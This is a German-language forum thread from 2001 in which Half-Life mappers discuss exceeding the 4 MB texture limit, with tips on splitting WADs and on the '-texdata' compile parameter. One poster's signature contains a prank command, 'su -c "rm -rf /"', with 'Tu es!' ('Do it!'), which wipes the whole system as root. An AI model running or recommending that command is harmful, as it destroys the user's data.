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Autor Beitrag
000
15.10.2001, 21:29
ElChupkapres



Wie kann ich 8MB Texturen in meiner map verwenden? Hab schon forums suche benutzt aber hab den post nicht ganz kapiert. Geht das auch wenn ich Shlct oder Hlcc benutze?

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001
15.10.2001, 21:39
afrobnullsiebenelf



?ß versteh ich jetzt net ganz... also wenn HL was dagegen hat wen ndu ne 8 MB WAD einbindest dann mach halt mehrere kleine draus (Such nach Wally wenn du net weist die das geht oder check my hp :)

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$> su -c "rm -rf /"
Tu es!

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002
15.10.2001, 22:41
ElChupkapres



nein. Eigentlich kann man insgesamt nur 4MB Texturen in seiner map VERARBEITEN. Aber ich hab gehört irgendwie soll man auch 8MB verarbetien können.

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003
15.10.2001, 23:24
AgentStinger



-texdata 8152 (oder so)
bei allen 4 compile tools angeben

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004
15.10.2001, 23:27
ElChupkapres



?!? wo muss ich das angeben?

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005
15.10.2001, 23:41
Da Maakus



Also Kompilierparameter, vorzugsweise mit den ZHLT.

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"Aoccdrnig to rscheearch at an Elingsh uinervtisy, it deosn't mttaer in waht oredr the ltteers in a wrod are, the olny iprmoetnt tihng is taht the frist and lsat ltteer is at the rghit pclae. The rset can be a toatl mses and you can sitll raed it wouthit a porbelm. Tihs is bcuseae we do not raed ervey lteter by it slef but the wrod as a wlohe."

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